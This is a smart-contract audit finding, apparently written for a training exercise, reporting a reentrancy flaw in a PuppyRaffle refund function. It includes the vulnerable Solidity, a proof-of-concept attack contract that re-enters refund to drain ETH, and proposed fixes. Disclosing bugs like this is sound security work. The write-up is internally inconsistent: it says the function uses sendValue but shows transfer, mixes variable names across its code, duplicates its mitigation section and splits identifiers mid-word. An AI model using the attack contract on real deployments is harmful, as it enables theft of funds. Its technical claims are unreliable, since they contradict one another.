Description

The PuppyRaffle::refund function is vulnerable to reentrancy attacks because it transfers ETH to the player before updating the player’s state in the players array. This violates the Checks-Effects-Interactions pattern, allowing a malicious contract to repeatedly call the refund function and drain funds from the contract before its balance is reset.

Risk

A malicious player contract can re-enter `refund` before its player slot is cleared. However, in this implementation, `refund` uses OpenZeppelin's `sendValue`, which forwards control to the recipient, so reentrancy is possible. The attacker may receive the entrance fee more than once for the same player slot, subject to the raffle contract's available balance. This can reduce the funds available to other players and the raffle.

Root Cause

In PuppyRaffle.sol, the refund function performs an external transfer call (msg.sender.transfer(depositAmount)) before clearing the player’s slot in the players array (players[playerIndex] = address(0);).

Relevant Code:

function refund(uint256 playerIndex) public {

address payable playerAddress = players[playerIndex];

require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

require(playerAddress != address(0), "PuppyRaffle: Player address cannot be zero");

// Vulnerable: External call happens BEFORE state update

payable(msg.sender).transfer(depositAmount);

players[playerIndex] = address(0);

emit RaffleRefunded(msg.s

ender);

}

Impact

An attacker can deploy a malicious smart contract with a fallback or receive function that re-invokes the refund function. Because the player’s state has not yet been set to address(0) during the first execution, the checks will pass repeatedly, allowing the attacker to drain all available ETH from the PuppyRaffle contract.

Proof of Concept (PoC)

contract AttackReentrancy {

PuppyRaffle puppyRaffle;

uint256 playerIndex;

constructor(address _puppyRaffle) {

puppyRaffle = PuppyRaffle(_puppyRaffle);

}

function attack() external payable {

// Register as a player

puppyRaffle.enter{value: 1 ether}(address(this));

playerIndex = 0;

// Trigger refund to start reentrancy

puppyRaffle.refund(playerIndex);

}

receive() external payable {

// Reentrancy: call refund again before state is updated

if (address(puppyRaffle).balance >= 1 ether) {

puppyRaffle.refund

(playerIndex);

}

}

}

Mitigation (Recommendation)

To fix this vulnerability, strictly follow the Checks-Effects-Interactions pattern by updating the state variable (players[playerIndex] = address(0)) before transferring any funds. Alternatively, use OpenZeppelin’s ReentrancyGuard modifier (nonReentrant).

Recommended fix implementation:

function refund(uint256 playerIndex) public {

address payable playerAddress = players[playerIndex];

require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");

require(playerAddress != address(0), "PuppyRaffle: Player address cannot be zero");

// 1. Effects: Update state first

players[playerIndex] = address(0);

// 2. Interactions: External call happens last

payable(msg.sender).transfer(depositAmount);

emit RaffleRefunded(msg

.sender);

}

Mitigation

Follow the Checks-Effects-Interactions pattern by updating the state before making any external calls, or use OpenZeppelin's `ReentrancyGuard` modifier (`nonReentrant`) on the `refund` function.

// Example Fix:

function refund(uint256 playerIndex) public {

address player = players[playerIndex];

require(player == msg.sender, "PuppyRaffle: Only the player can refund");

require(player != address(0), "PuppyRaffle: Player already refunded");

// Effects (Update state first)

players[playerIndex] = address(0);

totalActivePlayers--;

// Interactions (External call last)

payable(msg.sender).sendValue(en

tranceFee);

}